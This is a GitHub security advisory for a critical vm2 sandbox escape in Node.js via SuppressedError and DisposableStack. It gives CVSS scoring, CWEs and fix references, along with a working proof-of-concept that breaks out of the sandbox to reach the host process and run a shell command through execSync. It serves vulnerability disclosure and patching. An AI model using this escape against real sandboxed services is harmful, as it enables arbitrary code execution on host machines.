patriksimek/vm2 · Security
VM2 Has a Sandbox Escape Issue via SuppressedError
- GHSA ID
- GHSA-55hx-c926-fr95
- CVE ID
- CVE-2026-26332
- Severity
- critical
- Published
- Updated
- CVSS
- 9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CVSS v3
- 9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.
PoC
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
const e = Error();
e.name = Symbol();
e.stack;
});
try {
ds.dispose();
} catch(e) {
const Function = e.suppressed.constructor.constructor;
const process = new Function("return process;")();
const { execSync } = process.mainModule.require("node:child_process");
execSync("echo pwned", { stdio: "inherit" });
}
`);
CWEs
- CWE-94 · Improper Control of Generation of Code ('Code Injection')
- CWE-693 · Protection Mechanism Failure
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-55hx-c926-fr95 ↗
- https://nvd.nist.gov/vuln/detail/CVE-2026-26332 ↗
- https://github.com/patriksimek/vm2/commit/119fd0aa1e4c27b08cf37946b2dafa99e2c754f0 ↗
- https://github.com/patriksimek/vm2/commit/4cb82cc94d9bb6c9a918b45f8c6790c32a5e913f ↗
- https://github.com/patriksimek/vm2/commit/7395c3a4b01d302e55271c87dbeb44d6b83b81ca ↗
- https://github.com/patriksimek/vm2/commit/792e16d56ee429ab19e284ed9c545f5e4694fb7d ↗
- https://github.com/patriksimek/vm2/commit/d715dd88c5aec5bbb4dce03ddf7c3eb3791d0338 ↗
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0 ↗
- https://github.com/advisories/GHSA-55hx-c926-fr95 ↗